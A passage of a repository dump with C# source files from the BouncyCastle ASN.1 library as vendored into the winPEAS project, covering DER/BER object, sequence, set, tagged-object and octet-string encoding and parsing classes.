byte[] data) { try { MemoryStream input = new MemoryStream(data, false); Asn1InputStream asn1 = new Asn1InputStream(input, data.Length); Asn1Object result = asn1.ReadObject(); if (input.Position != input.Length) throw new IOException("extra data found after object"); return result; } catch (InvalidCastException) { throw new IOException("cannot recognise object in byte array"); } } /// Read a base ASN.1 object from a stream. /// The stream to parse. /// The base ASN.1 object represented by the byte array. /// If there is a problem parsing the data. public static Asn1Object FromStream( Stream inStr) { try { return new Asn1InputStream(inStr).ReadObject(); } catch (InvalidCastException) { throw new IOException("cannot recognise object in stream"); } } public sealed override Asn1Object ToAsn1Object() { return this; } internal abstract void Encode(DerOutputStream derOut); protected abstract bool Asn1Equals(Asn1Object asn1Object); protected abstract int Asn1GetHashCode(); internal bool CallAsn1Equals(Asn1Object obj) { return Asn1Equals(obj); } internal int CallAsn1GetHashCode() { return Asn1GetHashCode(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1OctetString.cs ================================================ using System; using System.IO; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util.encoders; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public abstract class Asn1OctetString : Asn1Object, Asn1OctetStringParser { internal byte[] str; /** * return an Octet string from a tagged object. * * @param obj the tagged object holding the object we want. * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static Asn1OctetString GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is Asn1OctetString) { return GetInstance(o); } return BerOctetString.FromSequence(Asn1Sequence.GetInstance(o)); } /** * return an Octet string from the given object. * * @param obj the object we want converted. * @exception ArgumentException if the object cannot be converted. */ public static Asn1OctetString GetInstance(object obj) { if (obj == null || obj is Asn1OctetString) { return (Asn1OctetString)obj; } else if (obj is byte[]) { try { return GetInstance(FromByteArray((byte[])obj)); } catch (IOException e) { throw new ArgumentException("failed to construct OCTET STRING from byte[]: " + e.Message); } } // TODO: this needs to be deleted in V2 else if (obj is Asn1TaggedObject) { return GetInstance(((Asn1TaggedObject)obj).GetObject()); } else if (obj is Asn1Encodable) { Asn1Object primitive = ((Asn1Encodable)obj).ToAsn1Object(); if (primitive is Asn1OctetString) { return (Asn1OctetString)primitive; } } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * @param string the octets making up the octet string. */ internal Asn1OctetString( byte[] str) { if (str == null) throw new ArgumentNullException("str"); this.str = str; } public Stream GetOctetStream() { return new MemoryStream(str, false); } public Asn1OctetStringParser Parser { get { return this; } } public virtual byte[] GetOctets() { return str; } protected override int Asn1GetHashCode() { return Arrays.GetHashCode(GetOctets()); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerOctetString other = asn1Object as DerOctetString; if (other == null) return false; return Arrays.AreEqual(GetOctets(), other.GetOctets()); } public override string ToString() { return "#" + Hex.ToHexString(str); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1OctetStringParser.cs ================================================ using System.IO; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public interface Asn1OctetStringParser : IAsn1Convertible { Stream GetOctetStream(); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1OutputStream.cs ================================================ using System; using System.IO; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class Asn1OutputStream : DerOutputStream { public Asn1OutputStream(Stream os) : base(os) { } [Obsolete("Use version taking an Asn1Encodable arg instead")] public override void WriteObject( object obj) { if (obj == null) { WriteNull(); } else if (obj is Asn1Object) { ((Asn1Object)obj).Encode(this); } else if (obj is Asn1Encodable) { ((Asn1Encodable)obj).ToAsn1Object().Encode(this); } else { throw new IOException("object not Asn1Encodable"); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1ParsingException.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle.asn1 { #if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE) [Serializable] #endif public class Asn1ParsingException : InvalidOperationException { public Asn1ParsingException() : base() { } public Asn1ParsingException( string message) : base(message) { } public Asn1ParsingException( string message, Exception exception) : base(message, exception) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Sequence.cs ================================================ using System; using System.Collections; using System.IO; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util.collections; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public abstract class Asn1Sequence : Asn1Object, IEnumerable { // NOTE: Only non-readonly to support LazyDerSequence internal Asn1Encodable[] elements; /** * return an Asn1Sequence from the given object. * * @param obj the object we want converted. * @exception ArgumentException if the object cannot be converted. */ public static Asn1Sequence GetInstance( object obj) { if (obj == null || obj is Asn1Sequence) { return (Asn1Sequence)obj; } else if (obj is Asn1SequenceParser) { return GetInstance(((Asn1SequenceParser)obj).ToAsn1Object()); } else if (obj is byte[]) { try { return GetInstance(FromByteArray((byte[])obj)); } catch (IOException e) { throw new ArgumentException("failed to construct sequence from byte[]: " + e.Message); } } else if (obj is Asn1Encodable) { Asn1Object primitive = ((Asn1Encodable)obj).ToAsn1Object(); if (primitive is Asn1Sequence) { return (Asn1Sequence)primitive; } } throw new ArgumentException("Unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); } /** * Return an ASN1 sequence from a tagged object. There is a special * case here, if an object appears to have been explicitly tagged on * reading but we were expecting it to be implicitly tagged in the * normal course of events it indicates that we lost the surrounding * sequence - so we need to add it back (this will happen if the tagged * object is a sequence that contains other sequences). If you are * dealing with implicitly tagged sequences you really should * be using this method. * * @param obj the tagged object. * @param explicitly true if the object is meant to be explicitly tagged, * false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static Asn1Sequence GetInstance( Asn1TaggedObject obj, bool explicitly) { Asn1Object inner = obj.GetObject(); if (explicitly) { if (!obj.IsExplicit()) throw new ArgumentException("object implicit - explicit expected."); return (Asn1Sequence)inner; } // // constructed object which appears to be explicitly tagged // when it should be implicit means we have to add the // surrounding sequence. // if (obj.IsExplicit()) { if (obj is BerTaggedObject) { return new BerSequence(inner); } return new DerSequence(inner); } if (inner is Asn1Sequence) { return (Asn1Sequence)inner; } throw new ArgumentException("Unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); } protected internal Asn1Sequence() { this.elements = Asn1EncodableVector.EmptyElements; } protected internal Asn1Sequence(Asn1Encodable element) { if (null == element) throw new ArgumentNullException("element"); this.elements = new Asn1Encodable[] { element }; } protected internal Asn1Sequence(params Asn1Encodable[] elements) { if (Arrays.IsNullOrContainsNull(elements)) throw new NullReferenceException("'elements' cannot be null, or contain null"); this.elements = Asn1EncodableVector.CloneElements(elements); } protected internal Asn1Sequence(Asn1EncodableVector elementVector) { if (null == elementVector) throw new ArgumentNullException("elementVector"); this.elements = elementVector.TakeElements(); } public virtual IEnumerator GetEnumerator() { return elements.GetEnumerator(); } private class Asn1SequenceParserImpl : Asn1SequenceParser { private readonly Asn1Sequence outer; private readonly int max; private int index; public Asn1SequenceParserImpl( Asn1Sequence outer) { this.outer = outer; this.max = outer.Count; } public IAsn1Convertible ReadObject() { if (index == max) return null; Asn1Encodable obj = outer[index++]; if (obj is Asn1Sequence) return ((Asn1Sequence)obj).Parser; if (obj is Asn1Set) return ((Asn1Set)obj).Parser; // NB: Asn1OctetString implements Asn1OctetStringParser directly // if (obj is Asn1OctetString) // return ((Asn1OctetString)obj).Parser; return obj; } public Asn1Object ToAsn1Object() { return outer; } } public virtual Asn1SequenceParser Parser { get { return new Asn1SequenceParserImpl(this); } } /** * return the object at the sequence position indicated by index. * * @param index the sequence number (starting at zero) of the object * @return the object at the sequence position indicated by index. */ public virtual Asn1Encodable this[int index] { get { return elements[index]; } } public virtual int Count { get { return elements.Length; } } public virtual Asn1Encodable[] ToArray() { return Asn1EncodableVector.CloneElements(elements); } protected override int Asn1GetHashCode() { //return Arrays.GetHashCode(elements); int i = elements.Length; int hc = i + 1; while (--i >= 0) { hc *= 257; hc ^= elements[i].ToAsn1Object().CallAsn1GetHashCode(); } return hc; } protected override bool Asn1Equals(Asn1Object asn1Object) { Asn1Sequence that = asn1Object as Asn1Sequence; if (null == that) return false; int count = this.Count; if (that.Count != count) return false; for (int i = 0; i < count; ++i) { Asn1Object o1 = this.elements[i].ToAsn1Object(); Asn1Object o2 = that.elements[i].ToAsn1Object(); if (o1 != o2 && !o1.CallAsn1Equals(o2)) return false; } return true; } public override string ToString() { return CollectionUtilities.ToString(elements); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1SequenceParser.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public interface Asn1SequenceParser : IAsn1Convertible { IAsn1Convertible ReadObject(); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Set.cs ================================================ using System; using System.Collections; using System.Diagnostics; using System.IO; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util.collections; namespace winPEAS._3rdParty.BouncyCastle.asn1 { abstract public class Asn1Set : Asn1Object, IEnumerable { // NOTE: Only non-readonly to support LazyDerSet internal Asn1Encodable[] elements; /** * return an ASN1Set from the given object. * * @param obj the object we want converted. * @exception ArgumentException if the object cannot be converted. */ public static Asn1Set GetInstance( object obj) { if (obj == null || obj is Asn1Set) { return (Asn1Set)obj; } else if (obj is Asn1SetParser) { return Asn1Set.GetInstance(((Asn1SetParser)obj).ToAsn1Object()); } else if (obj is byte[]) { try { return Asn1Set.GetInstance(FromByteArray((byte[])obj)); } catch (IOException e) { throw new ArgumentException("failed to construct set from byte[]: " + e.Message); } } else if (obj is Asn1Encodable) { Asn1Object primitive = ((Asn1Encodable)obj).ToAsn1Object(); if (primitive is Asn1Set) { return (Asn1Set)primitive; } } throw new ArgumentException("Unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); } /** * Return an ASN1 set from a tagged object. There is a special * case here, if an object appears to have been explicitly tagged on * reading but we were expecting it to be implicitly tagged in the * normal course of events it indicates that we lost the surrounding * set - so we need to add it back (this will happen if the tagged * object is a sequence that contains other sequences). If you are * dealing with implicitly tagged sets you really should * be using this method. * * @param obj the tagged object. * @param explicitly true if the object is meant to be explicitly tagged * false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static Asn1Set GetInstance( Asn1TaggedObject obj, bool explicitly) { Asn1Object inner = obj.GetObject(); if (explicitly) { if (!obj.IsExplicit()) throw new ArgumentException("object implicit - explicit expected."); return (Asn1Set)inner; } // // constructed object which appears to be explicitly tagged // and it's really implicit means we have to add the // surrounding sequence. // if (obj.IsExplicit()) { return new DerSet(inner); } if (inner is Asn1Set) { return (Asn1Set)inner; } // // in this case the parser returns a sequence, convert it // into a set. // if (inner is Asn1Sequence) { Asn1EncodableVector v = new Asn1EncodableVector(); Asn1Sequence s = (Asn1Sequence)inner; foreach (Asn1Encodable ae in s) { v.Add(ae); } // TODO Should be able to construct set directly from sequence? return new DerSet(v, false); } throw new ArgumentException("Unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); } protected internal Asn1Set() { this.elements = Asn1EncodableVector.EmptyElements; } protected internal Asn1Set(Asn1Encodable element) { if (null == element) throw new ArgumentNullException("element"); this.elements = new Asn1Encodable[] { element }; } protected internal Asn1Set(params Asn1Encodable[] elements) { if (Arrays.IsNullOrContainsNull(elements)) throw new NullReferenceException("'elements' cannot be null, or contain null"); this.elements = Asn1EncodableVector.CloneElements(elements); } protected internal Asn1Set(Asn1EncodableVector elementVector) { if (null == elementVector) throw new ArgumentNullException("elementVector"); this.elements = elementVector.TakeElements(); } public virtual IEnumerator GetEnumerator() { return elements.GetEnumerator(); } /** * return the object at the set position indicated by index. * * @param index the set number (starting at zero) of the object * @return the object at the set position indicated by index. */ public virtual Asn1Encodable this[int index] { get { return elements[index]; } } public virtual int Count { get { return elements.Length; } } public virtual Asn1Encodable[] ToArray() { return Asn1EncodableVector.CloneElements(elements); } private class Asn1SetParserImpl : Asn1SetParser { private readonly Asn1Set outer; private readonly int max; private int index; public Asn1SetParserImpl( Asn1Set outer) { this.outer = outer; this.max = outer.Count; } public IAsn1Convertible ReadObject() { if (index == max) return null; Asn1Encodable obj = outer[index++]; if (obj is Asn1Sequence) return ((Asn1Sequence)obj).Parser; if (obj is Asn1Set) return ((Asn1Set)obj).Parser; // NB: Asn1OctetString implements Asn1OctetStringParser directly // if (obj is Asn1OctetString) // return ((Asn1OctetString)obj).Parser; return obj; } public virtual Asn1Object ToAsn1Object() { return outer; } } public Asn1SetParser Parser { get { return new Asn1SetParserImpl(this); } } protected override int Asn1GetHashCode() { //return Arrays.GetHashCode(elements); int i = elements.Length; int hc = i + 1; while (--i >= 0) { hc *= 257; hc ^= elements[i].ToAsn1Object().CallAsn1GetHashCode(); } return hc; } protected override bool Asn1Equals(Asn1Object asn1Object) { Asn1Set that = asn1Object as Asn1Set; if (null == that) return false; int count = this.Count; if (that.Count != count) return false; for (int i = 0; i < count; ++i) { Asn1Object o1 = this.elements[i].ToAsn1Object(); Asn1Object o2 = that.elements[i].ToAsn1Object(); if (o1 != o2 && !o1.CallAsn1Equals(o2)) return false; } return true; } protected internal void Sort() { if (elements.Length < 2) return; #if PORTABLE this.elements = elements .Cast() .Select(a => new { Item = a, Key = a.GetEncoded(Asn1Encodable.Der) }) .OrderBy(t => t.Key, new DerComparer()) .Select(t => t.Item) .ToArray(); #else int count = elements.Length; byte[][] keys = new byte[count][]; for (int i = 0; i < count; ++i) { keys[i] = elements[i].GetEncoded(Asn1Encodable.Der); } Array.Sort(keys, elements, new DerComparer()); #endif } public override string ToString() { return CollectionUtilities.ToString(elements); } #if PORTABLE private class DerComparer : IComparer { public int Compare(byte[] x, byte[] y) { byte[] a = x, b = y; #else private class DerComparer : IComparer { public int Compare(object x, object y) { byte[] a = (byte[])x, b = (byte[])y; #endif Debug.Assert(a.Length >= 2 && b.Length >= 2); /* * NOTE: Set elements in DER encodings are ordered first according to their tags (class and * number); the CONSTRUCTED bit is not part of the tag. * * For SET-OF, this is unimportant. All elements have the same tag and DER requires them to * either all be in constructed form or all in primitive form, according to that tag. The * elements are effectively ordered according to their content octets. * * For SET, the elements will have distinct tags, and each will be in constructed or * primitive form accordingly. Failing to ignore the CONSTRUCTED bit could therefore lead to * ordering inversions. */ int a0 = a[0] & ~Asn1Tags.Constructed; int b0 = b[0] & ~Asn1Tags.Constructed; if (a0 != b0) return a0 < b0 ? -1 : 1; int len = System.Math.Min(a.Length, b.Length); for (int i = 1; i < len; ++i) { byte ai = a[i], bi = b[i]; if (ai != bi) return ai < bi ? -1 : 1; } Debug.Assert(a.Length == b.Length); return 0; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1SetParser.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public interface Asn1SetParser : IAsn1Convertible { IAsn1Convertible ReadObject(); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1StreamParser.cs ================================================ using System; using System.IO; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class Asn1StreamParser { private readonly Stream _in; private readonly int _limit; private readonly byte[][] tmpBuffers; public Asn1StreamParser( Stream inStream) : this(inStream, Asn1InputStream.FindLimit(inStream)) { } public Asn1StreamParser( Stream inStream, int limit) { if (!inStream.CanRead) throw new ArgumentException("Expected stream to be readable", "inStream"); this._in = inStream; this._limit = limit; this.tmpBuffers = new byte[16][]; } public Asn1StreamParser( byte[] encoding) : this(new MemoryStream(encoding, false), encoding.Length) { } internal IAsn1Convertible ReadIndef(int tagValue) { // Note: INDEF => CONSTRUCTED // TODO There are other tags that may be constructed (e.g. BIT_STRING) switch (tagValue) { case Asn1Tags.External: return new DerExternalParser(this); case Asn1Tags.OctetString: return new BerOctetStringParser(this); case Asn1Tags.Sequence: return new BerSequenceParser(this); case Asn1Tags.Set: return new BerSetParser(this); default: throw new Asn1Exception("unknown BER object encountered: 0x" + tagValue.ToString("X")); } } internal IAsn1Convertible ReadImplicit(bool constructed, int tag) { if (_in is IndefiniteLengthInputStream) { if (!constructed) throw new IOException("indefinite-length primitive encoding encountered"); return ReadIndef(tag); } if (constructed) { switch (tag) { case Asn1Tags.Set: return new DerSetParser(this); case Asn1Tags.Sequence: return new DerSequenceParser(this); case Asn1Tags.OctetString: return new BerOctetStringParser(this); } } else { switch (tag) { case Asn1Tags.Set: throw new Asn1Exception("sequences must use constructed encoding (see X.690 8.9.1/8.10.1)"); case Asn1Tags.Sequence: throw new Asn1Exception("sets must use constructed encoding (see X.690 8.11.1/8.12.1)"); case Asn1Tags.OctetString: return new DerOctetStringParser((DefiniteLengthInputStream)_in); } } throw new Asn1Exception("implicit tagging not implemented"); } internal Asn1Object ReadTaggedObject(bool constructed, int tag) { if (!constructed) { // Note: !CONSTRUCTED => IMPLICIT DefiniteLengthInputStream defIn = (DefiniteLengthInputStream)_in; return new DerTaggedObject(false, tag, new DerOctetString(defIn.ToArray())); } Asn1EncodableVector v = ReadVector(); if (_in is IndefiniteLengthInputStream) { return v.Count == 1 ? new BerTaggedObject(true, tag, v[0]) : new BerTaggedObject(false, tag, BerSequence.FromVector(v)); } return v.Count == 1 ? new DerTaggedObject(true, tag, v[0]) : new DerTaggedObject(false, tag, DerSequence.FromVector(v)); } public virtual IAsn1Convertible ReadObject() { int tag = _in.ReadByte(); if (tag == -1) return null; // turn of looking for "00" while we resolve the tag Set00Check(false); // // calculate tag number // int tagNo = Asn1InputStream.ReadTagNumber(_in, tag); bool isConstructed = (tag & Asn1Tags.Constructed) != 0; // // calculate length // int length = Asn1InputStream.ReadLength(_in, _limit, tagNo == Asn1Tags.OctetString || tagNo == Asn1Tags.Sequence || tagNo == Asn1Tags.Set || tagNo == Asn1Tags.External); if (length < 0) // indefinite-length method { if (!isConstructed) throw new IOException("indefinite-length primitive encoding encountered"); IndefiniteLengthInputStream indIn = new IndefiniteLengthInputStream(_in, _limit); Asn1StreamParser sp = new Asn1StreamParser(indIn, _limit); if ((tag & Asn1Tags.Application) != 0) { return new BerApplicationSpecificParser(tagNo, sp); } if ((tag & Asn1Tags.Tagged) != 0) { return new BerTaggedObjectParser(true, tagNo, sp); } return sp.ReadIndef(tagNo); } else { DefiniteLengthInputStream defIn = new DefiniteLengthInputStream(_in, length, _limit); if ((tag & Asn1Tags.Application) != 0) { return new DerApplicationSpecific(isConstructed, tagNo, defIn.ToArray()); } if ((tag & Asn1Tags.Tagged) != 0) { return new BerTaggedObjectParser(isConstructed, tagNo, new Asn1StreamParser(defIn)); } if (isConstructed) { // TODO There are other tags that may be constructed (e.g. BitString) switch (tagNo) { case Asn1Tags.OctetString: // // yes, people actually do this... // return new BerOctetStringParser(new Asn1StreamParser(defIn)); case Asn1Tags.Sequence: return new DerSequenceParser(new Asn1StreamParser(defIn)); case Asn1Tags.Set: return new DerSetParser(new Asn1StreamParser(defIn)); case Asn1Tags.External: return new DerExternalParser(new Asn1StreamParser(defIn)); default: throw new IOException("unknown tag " + tagNo + " encountered"); } } // Some primitive encodings can be handled by parsers too... switch (tagNo) { case Asn1Tags.OctetString: return new DerOctetStringParser(defIn); } try { return Asn1InputStream.CreatePrimitiveDerObject(tagNo, defIn, tmpBuffers); } catch (ArgumentException e) { throw new Asn1Exception("corrupted stream detected", e); } } } private void Set00Check( bool enabled) { if (_in is IndefiniteLengthInputStream) { ((IndefiniteLengthInputStream)_in).SetEofOn00(enabled); } } internal Asn1EncodableVector ReadVector() { IAsn1Convertible obj = ReadObject(); if (null == obj) return new Asn1EncodableVector(0); Asn1EncodableVector v = new Asn1EncodableVector(); do { v.Add(obj.ToAsn1Object()); } while ((obj = ReadObject()) != null); return v; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1TaggedObject.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * ASN.1 TaggedObject - in ASN.1 notation this is any object preceded by * a [n] where n is some number - these are assumed to follow the construction * rules (as with sequences). */ public abstract class Asn1TaggedObject : Asn1Object, Asn1TaggedObjectParser { internal static bool IsConstructed(bool isExplicit, Asn1Object obj) { if (isExplicit || obj is Asn1Sequence || obj is Asn1Set) return true; Asn1TaggedObject tagged = obj as Asn1TaggedObject; if (tagged == null) return false; return IsConstructed(tagged.IsExplicit(), tagged.GetObject()); } internal int tagNo; // internal bool empty; internal bool explicitly = true; internal Asn1Encodable obj; static public Asn1TaggedObject GetInstance( Asn1TaggedObject obj, bool explicitly) { if (explicitly) { return GetInstance(obj.GetObject()); } throw new ArgumentException("implicitly tagged tagged object"); } static public Asn1TaggedObject GetInstance( object obj) { if (obj == null || obj is Asn1TaggedObject) { return (Asn1TaggedObject)obj; } throw new ArgumentException("Unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); } /** * @param tagNo the tag number for this object. * @param obj the tagged object. */ protected Asn1TaggedObject( int tagNo, Asn1Encodable obj) { this.explicitly = true; this.tagNo = tagNo; this.obj = obj; } /** * @param explicitly true if the object is explicitly tagged. * @param tagNo the tag number for this object. * @param obj the tagged object. */ protected Asn1TaggedObject( bool explicitly, int tagNo, Asn1Encodable obj) { // IAsn1Choice marker interface 'insists' on explicit tagging this.explicitly = explicitly || (obj is IAsn1Choice); this.tagNo = tagNo; this.obj = obj; } protected override bool Asn1Equals( Asn1Object asn1Object) { Asn1TaggedObject other = asn1Object as Asn1TaggedObject; if (other == null) return false; return this.tagNo == other.tagNo // && this.empty == other.empty && this.explicitly == other.explicitly // TODO Should this be part of equality? && Platform.Equals(GetObject(), other.GetObject()); } protected override int Asn1GetHashCode() { int code = tagNo.GetHashCode(); // TODO: actually this is wrong - the problem is that a re-encoded // object may end up with a different hashCode due to implicit // tagging. As implicit tagging is ambiguous if a sequence is involved // it seems the only correct method for both equals and hashCode is to // compare the encodings... // code ^= explicitly.GetHashCode(); if (obj != null) { code ^= obj.GetHashCode(); } return code; } public int TagNo { get { return tagNo; } } /** * return whether or not the object may be explicitly tagged. *

    * Note: if the object has been read from an input stream, the only * time you can be sure if isExplicit is returning the true state of * affairs is if it returns false. An implicitly tagged object may appear * to be explicitly tagged, so you need to understand the context under * which the reading was done as well, see GetObject below.

    */ public bool IsExplicit() { return explicitly; } public bool IsEmpty() { return false; //empty; } /** * return whatever was following the tag. *

    * Note: tagged objects are generally context dependent if you're * trying to extract a tagged object you should be going via the * appropriate GetInstance method.

    */ public Asn1Object GetObject() { if (obj != null) { return obj.ToAsn1Object(); } return null; } /** * Return the object held in this tagged object as a parser assuming it has * the type of the passed in tag. If the object doesn't have a parser * associated with it, the base object is returned. */ public IAsn1Convertible GetObjectParser( int tag, bool isExplicit) { switch (tag) { case Asn1Tags.Set: return Asn1Set.GetInstance(this, isExplicit).Parser; case Asn1Tags.Sequence: return Asn1Sequence.GetInstance(this, isExplicit).Parser; case Asn1Tags.OctetString: return Asn1OctetString.GetInstance(this, isExplicit).Parser; } if (isExplicit) { return GetObject(); } throw Platform.CreateNotImplementedException("implicit tagging for tag: " + tag); } public override string ToString() { return "[" + tagNo + "]" + obj; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1TaggedObjectParser.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public interface Asn1TaggedObjectParser : IAsn1Convertible { int TagNo { get; } IAsn1Convertible GetObjectParser(int tag, bool isExplicit); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Tags.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class Asn1Tags { public const int Boolean = 0x01; public const int Integer = 0x02; public const int BitString = 0x03; public const int OctetString = 0x04; public const int Null = 0x05; public const int ObjectIdentifier = 0x06; public const int External = 0x08; public const int Enumerated = 0x0a; public const int Sequence = 0x10; public const int SequenceOf = 0x10; // for completeness public const int Set = 0x11; public const int SetOf = 0x11; // for completeness public const int NumericString = 0x12; public const int PrintableString = 0x13; public const int T61String = 0x14; public const int VideotexString = 0x15; public const int IA5String = 0x16; public const int UtcTime = 0x17; public const int GeneralizedTime = 0x18; public const int GraphicString = 0x19; public const int VisibleString = 0x1a; public const int GeneralString = 0x1b; public const int UniversalString = 0x1c; public const int BmpString = 0x1e; public const int Utf8String = 0x0c; public const int Constructed = 0x20; public const int Application = 0x40; public const int Tagged = 0x80; } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerApplicationSpecific.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class BerApplicationSpecific : DerApplicationSpecific { public BerApplicationSpecific( int tagNo, Asn1EncodableVector vec) : base(tagNo, vec) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerApplicationSpecificParser.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class BerApplicationSpecificParser : IAsn1ApplicationSpecificParser { private readonly int tag; private readonly Asn1StreamParser parser; internal BerApplicationSpecificParser( int tag, Asn1StreamParser parser) { this.tag = tag; this.parser = parser; } public IAsn1Convertible ReadObject() { return parser.ReadObject(); } public Asn1Object ToAsn1Object() { return new BerApplicationSpecific(tag, parser.ReadVector()); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerBitString.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class BerBitString : DerBitString { public BerBitString(byte[] data, int padBits) : base(data, padBits) { } public BerBitString(byte[] data) : base(data) { } public BerBitString(int namedBits) : base(namedBits) { } public BerBitString(Asn1Encodable obj) : base(obj) { } internal override void Encode( DerOutputStream derOut) { if (derOut is Asn1OutputStream || derOut is BerOutputStream) { derOut.WriteEncoded(Asn1Tags.BitString, (byte)mPadBits, mData); } else { base.Encode(derOut); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerOctetString.cs ================================================ using System; using System.Collections; using System.IO; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class BerOctetString : DerOctetString, IEnumerable { private static readonly int DefaultChunkSize = 1000; public static BerOctetString FromSequence(Asn1Sequence seq) { int count = seq.Count; Asn1OctetString[] v = new Asn1OctetString[count]; for (int i = 0; i < count; ++i) { v[i] = Asn1OctetString.GetInstance(seq[i]); } return new BerOctetString(v); } private static byte[] ToBytes(Asn1OctetString[] octs) { MemoryStream bOut = new MemoryStream(); foreach (Asn1OctetString o in octs) { byte[] octets = o.GetOctets(); bOut.Write(octets, 0, octets.Length); } return bOut.ToArray(); } private static Asn1OctetString[] ToOctetStringArray(IEnumerable e) { IList list = Platform.CreateArrayList(e); int count = list.Count; Asn1OctetString[] v = new Asn1OctetString[count]; for (int i = 0; i < count; ++i) { v[i] = Asn1OctetString.GetInstance(list[i]); } return v; } private readonly int chunkSize; private readonly Asn1OctetString[] octs; [Obsolete("Will be removed")] public BerOctetString(IEnumerable e) : this(ToOctetStringArray(e)) { } public BerOctetString(byte[] str) : this(str, DefaultChunkSize) { } public BerOctetString(Asn1OctetString[] octs) : this(octs, DefaultChunkSize) { } public BerOctetString(byte[] str, int chunkSize) : this(str, null, chunkSize) { } public BerOctetString(Asn1OctetString[] octs, int chunkSize) : this(ToBytes(octs), octs, chunkSize) { } private BerOctetString(byte[] str, Asn1OctetString[] octs, int chunkSize) : base(str) { this.octs = octs; this.chunkSize = chunkSize; } /** * return the DER octets that make up this string. */ public IEnumerator GetEnumerator() { if (octs == null) return new ChunkEnumerator(str, chunkSize); return octs.GetEnumerator(); } [Obsolete("Use GetEnumerator() instead")] public IEnumerator GetObjects() { return GetEnumerator(); } internal override void Encode( DerOutputStream derOut) { if (derOut is Asn1OutputStream || derOut is BerOutputStream) { derOut.WriteByte(Asn1Tags.Constructed | Asn1Tags.OctetString); derOut.WriteByte(0x80); // // write out the octet array // foreach (Asn1OctetString oct in this) { derOut.WriteObject(oct); } derOut.WriteByte(0x00); derOut.WriteByte(0x00); } else { base.Encode(derOut); } } private class ChunkEnumerator : IEnumerator { private readonly byte[] octets; private readonly int chunkSize; private DerOctetString currentChunk = null; private int nextChunkPos = 0; internal ChunkEnumerator(byte[] octets, int chunkSize) { this.octets = octets; this.chunkSize = chunkSize; } public object Current { get { if (null == currentChunk) throw new InvalidOperationException(); return currentChunk; } } public bool MoveNext() { if (nextChunkPos >= octets.Length) { this.currentChunk = null; return false; } int length = System.Math.Min(octets.Length - nextChunkPos, chunkSize); byte[] chunk = new byte[length]; Array.Copy(octets, nextChunkPos, chunk, 0, length); this.currentChunk = new DerOctetString(chunk); this.nextChunkPos += length; return true; } public void Reset() { this.currentChunk = null; this.nextChunkPos = 0; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/BerOctetStringParser.cs ================================================ using System.IO; using winPEAS._3rdParty.BouncyCastle.util.io; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class BerOctetStringParser : Asn1OctetStringParser { private readonly Asn1StreamParser _parser; internal BerOctetStringParser( Asn1StreamParser parser) { _parser = parser; } public Stream GetOctetStream() { return new ConstructedOctetStream(_parser); } public Asn1Object ToAsn1Object() { try { return new BerOctetString(Streams.ReadAll(GetOctetStream())); } catch (IOException e) { throw new 